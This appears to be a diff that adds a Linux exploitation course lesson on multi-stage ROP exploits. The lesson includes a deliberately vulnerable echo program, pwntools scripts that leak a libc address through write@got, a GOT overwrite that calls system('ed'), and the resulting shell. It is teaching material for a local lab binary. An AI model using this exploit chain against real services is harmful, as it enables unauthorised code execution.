|
1 | 1 | # Multi-Stage Exploits
|
2 | 2 |
|
| 3 | +In this section, we will look at crafting a more complicated exploit that relies |
| 4 | +on multiple stages. Surprisingly, the vulnerable target we are looking at is the |
| 5 | +most simple of all the ones we have seen so far. It is precisely the lack of |
| 6 | +flexibility we have with such a simple target that forces us to adopt a more |
| 7 | +sophiscated exploit strategy. |
3 | 8 |
|
| 9 | +```c |
| 10 | +#include <unistd.h> |
| 11 | +#include <stdio.h> |
| 12 | + |
| 13 | +void vuln() { |
| 14 | + char buffer[16]; |
| 15 | + read(0, buffer, 100); |
| 16 | + write(1, buffer, 16); |
| 17 | +} |
| 18 | + |
| 19 | +int main() { |
| 20 | + vuln(); |
| 21 | +} |
| 22 | +``` |
| 23 | + |
| 24 | +It is very simple. It simply echoes your input. It is vulnerable to a standard |
| 25 | +buffer overflow but ASLR and NX are enabled which means the only things you have |
| 26 | +to work with is `read`, `write`, and the gadgets that are present in the tiny |
| 27 | +binary. |
| 28 | + |
| 29 | +```shell |
| 30 | +amon@bethany:~/sproink/linux-exploitation-course/lessons/12_multi_stage/build$ ./1_vulnerable |
| 31 | +Hello World |
| 32 | +Hello World |
| 33 | +``` |
| 34 | + |
| 35 | +## Crafting the Exploit Step by Step |
| 36 | + |
| 37 | +First, as we always do, we need a skeleton script to give us our EIP control. |
| 38 | + |
| 39 | +```python |
| 40 | +#!/usr/bin/python |
| 41 | + |
| 42 | +from pwn import * |
| 43 | + |
| 44 | +def main(): |
| 45 | + p = process("../build/1_vulnerable") |
| 46 | + |
| 47 | + payload = "A"*28 + p32(0xdeadc0de) |
| 48 | + |
| 49 | + p.send(payload) |
| 50 | + |
| 51 | + p.interactive() |
| 52 | + |
| 53 | +if __name__ == "__main__": |
| 54 | + main() |
| 55 | +``` |
| 56 | + |
| 57 | +Next, we would like to try and leak a libc address. We can achieve this by |
| 58 | +creating fake stack frames that execute `write(STDOUT, write@got, 4)`. This will |
| 59 | +print 4 bytes of the write@got address to stdout which we can receive on our |
| 60 | +exploit script. |
| 61 | + |
| 62 | + |
| 63 | +```python |
| 64 | +#!/usr/bin/python |
| 65 | + |
| 66 | +from pwn import * |
| 67 | + |
| 68 | +offset___libc_start_main_ret = 0x18637 |
| 69 | +offset_system = 0x0003ada0 |
| 70 | +offset_dup2 = 0x000d6190 |
| 71 | +offset_read = 0x000d5980 |
| 72 | +offset_write = 0x000d59f0 |
| 73 | +offset_str_bin_sh = 0x15b82b |
| 74 | + |
| 75 | +read_plt = 0x08048300 |
| 76 | +write_plt = 0x08048320 |
| 77 | +write_got = 0x0804a014 |
| 78 | + |
| 79 | +def main(): |
| 80 | + p = process("../build/1_vulnerable") |
| 81 | + |
| 82 | + # Craft payload |
| 83 | + payload = "A"*28 |
| 84 | + payload += p32(write_plt) |
| 85 | + payload += p32(0xdeadbeef) |
| 86 | + payload += p32(1) # STDOUT |
| 87 | + payload += p32(write_got) |
| 88 | + payload += p32(4) |
| 89 | + |
| 90 | + p.send(payload) |
| 91 | + |
| 92 | + # Clear the 16 bytes written on vuln end |
| 93 | + p.recv(16) |
| 94 | + |
| 95 | + # Parse the leak |
| 96 | + leak = p.recv(4) |
| 97 | + write_addr = u32(leak) |
| 98 | + log.info("write_addr: 0x%x" % write_addr) |
| 99 | + |
| 100 | + p.interactive() |
| 101 | + |
| 102 | +if __name__ == "__main__": |
| 103 | + main() |
| 104 | +``` |
| 105 | + |
| 106 | +This works easily enough to get us that leak. |
| 107 | + |
| 108 | +```shell |
| 109 | +ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/scripts$ python 2_leak_system.py |
| 110 | +[+] Starting local process '../build/1_vulnerable': Done |
| 111 | +[*] write_addr: 0xf76569f0 |
| 112 | +[*] Switching to interactive mode |
| 113 | +$ [*] Got EOF while reading in interactive |
| 114 | + |
| 115 | +[*] Process '../build/1_vulnerable' stopped with exit code -11 |
| 116 | +[*] Got EOF while sending in interactive |
| 117 | +``` |
| 118 | +
|
| 119 | +## The Killing Blow |
| 120 | +
|
| 121 | +
|
| 122 | +Now, remember that what we are doing is creating a rop chain with these PLT |
| 123 | +stubs. However, if we just return into functions after functions, it is not |
| 124 | +going to work very well since the parameters on the stack are not cleaned up. We |
| 125 | +have to handle that somehow. |
| 126 | +
|
| 127 | +This is where the `pop pop ret` gadgets come in. They allow us to advance the |
| 128 | +stack and make sure our faked stack frames are coherent. We need a `pop pop pop |
| 129 | +ret` sequence because our `write` call had 3 parameters. |
| 130 | +
|
| 131 | +```shell |
| 132 | +ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/build$ ropper --file 1_vulnerable |
| 133 | +... snip .. |
| 134 | +0x080484e9: pop esi; pop edi; pop ebp; ret; |
| 135 | +... snip .. |
| 136 | +``` |
| 137 | +
|
| 138 | +What should we do next then? What we want to do is overwrite a GOT entry so that |
| 139 | +we can execute system. Now, we can leverage the fact that a `read` call is |
| 140 | +basically an arbitrary write primitive. So our entire rop chain sequence would |
| 141 | +look something like this: |
| 142 | +
|
| 143 | +1. `write(1, write@got, 4)` - Leaks the libc address of write |
| 144 | +2. `read(0, write@got, 4)` - Read 4 bytes of input from us into the write GOT |
| 145 | + entry. |
| 146 | +3. `system(some_cmd)` - Execute a command of ours and hopefully get shell |
| 147 | +
|
| 148 | +Now, of course we have a possible issue. Since our ROP chain would have to |
| 149 | +include the address of the command on the first read, we have two choices: |
| 150 | +
|
| 151 | +1. Expend another read sequence to write "/bin/sh" somewhere in memory |
| 152 | +2. Use an alternative command (such as ed) |
| 153 | +
|
| 154 | +Option 1 is not feasible as it takes 20 bytes to construct a frame for read. |
| 155 | +This is a heavily cost when we only have 72 bytes to play with. So, we have to |
| 156 | +go with Option 2 which is easy enough to get. |
| 157 | +
|
| 158 | +```shell |
| 159 | +gdb-peda$ find ed |
| 160 | +Searching for 'ed' in: None ranges |
| 161 | +Found 393 results, display max 256 items: |
| 162 | +1_vulnerable : 0x8048243 --> 0x72006465 ('ed') |
| 163 | +1_vulnerable : 0x8049243 --> 0x72006465 ('ed') |
| 164 | +``` |
| 165 | +
|
| 166 | +With all of the information in hand, we can write our exploit: |
| 167 | +
|
| 168 | +
|
| 169 | +```python |
| 170 | +#!/usr/bin/python |
| 171 | +
|
| 172 | +from pwn import * |
| 173 | +
|
| 174 | +offset___libc_start_main_ret = 0x18637 |
| 175 | +offset_system = 0x0003ada0 |
| 176 | +offset_dup2 = 0x000d6190 |
| 177 | +offset_read = 0x000d5980 |
| 178 | +offset_write = 0x000d59f0 |
| 179 | +offset_str_bin_sh = 0x15b82b |
| 180 | +
|
| 181 | +read_plt = 0x08048300 |
| 182 | +write_plt = 0x08048320 |
| 183 | +write_got = 0x0804a014 |
| 184 | +new_system_plt = write_plt |
| 185 | +
|
| 186 | +pppr = 0x080484e9 |
| 187 | +
|
| 188 | +ed_str = 0x8048243 |
| 189 | +
|
| 190 | +def main(): |
| 191 | + p = process("../build/1_vulnerable") |
| 192 | +
|
| 193 | + # Craft payload |
| 194 | + payload = "A"*28 |
| 195 | + payload += p32(write_plt) # 1. write(1, write_got, 4) |
| 196 | + payload += p32(pppr) |
| 197 | + payload += p32(1) # STDOUT |
| 198 | + payload += p32(write_got) |
| 199 | + payload += p32(4) |
| 200 | + payload += p32(read_plt) # 2. read(0, write_got, 4) |
| 201 | + payload += p32(pppr) |
| 202 | + payload += p32(0) # STDIN |
| 203 | + payload += p32(write_got) |
| 204 | + payload += p32(4) |
| 205 | + payload += p32(new_system_plt) # 3. system("ed") |
| 206 | + payload += p32(0xdeadbeef) |
| 207 | + payload += p32(ed_str) |
| 208 | +
|
| 209 | + p.send(payload) |
| 210 | +
|
| 211 | + # Clear the 16 bytes written on vuln end |
| 212 | + p.recv(16) |
| 213 | +
|
| 214 | + # Parse the leak |
| 215 | + leak = p.recv(4) |
| 216 | + write_addr = u32(leak) |
| 217 | + log.info("write_addr: 0x%x" % write_addr) |
| 218 | +
|
| 219 | + # Calculate the important addresses |
| 220 | + libc_base = write_addr - offset_write |
| 221 | + log.info("libc_base: 0x%x" % libc_base) |
| 222 | + system_addr = libc_base + offset_system |
| 223 | + log.info("system_addr: 0x%x" % system_addr) |
| 224 | +
|
| 225 | + # Send the stage 2 |
| 226 | + p.send(p32(system_addr)) |
| 227 | +
|
| 228 | + p.interactive() |
| 229 | +
|
| 230 | +if __name__ == "__main__": |
| 231 | + main() |
| 232 | +``` |
| 233 | +
|
| 234 | +Running the exploit: |
| 235 | +
|
| 236 | +```shell |
| 237 | +ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/scripts$ python 3_final.py |
| 238 | +[+] Starting local process '../build/1_vulnerable': Done |
| 239 | +[*] write_addr: 0xf760c9f0 |
| 240 | +[*] libc_base: 0xf7537000 |
| 241 | +[*] system_addr: 0xf7571da0 |
| 242 | +[*] Switching to interactive mode |
| 243 | +$ !sh |
| 244 | +$ ls -la |
| 245 | +total 20 |
| 246 | +drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 2017 . |
| 247 | +drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 19:08 .. |
| 248 | +-rw-rw-r-- 1 ubuntu ubuntu 212 Jan 13 18:16 1_skeleton.py |
| 249 | +-rw-rw-r-- 1 ubuntu ubuntu 776 Jan 13 18:30 2_leak_system.py |
| 250 | +-rw-rw-r-- 1 ubuntu ubuntu 1410 Jan 13 18:50 3_final.py |
| 251 | +$ |
| 252 | +[*] Stopped program '../build/1_vulnerable' |
| 253 | +``` |
0 commit comments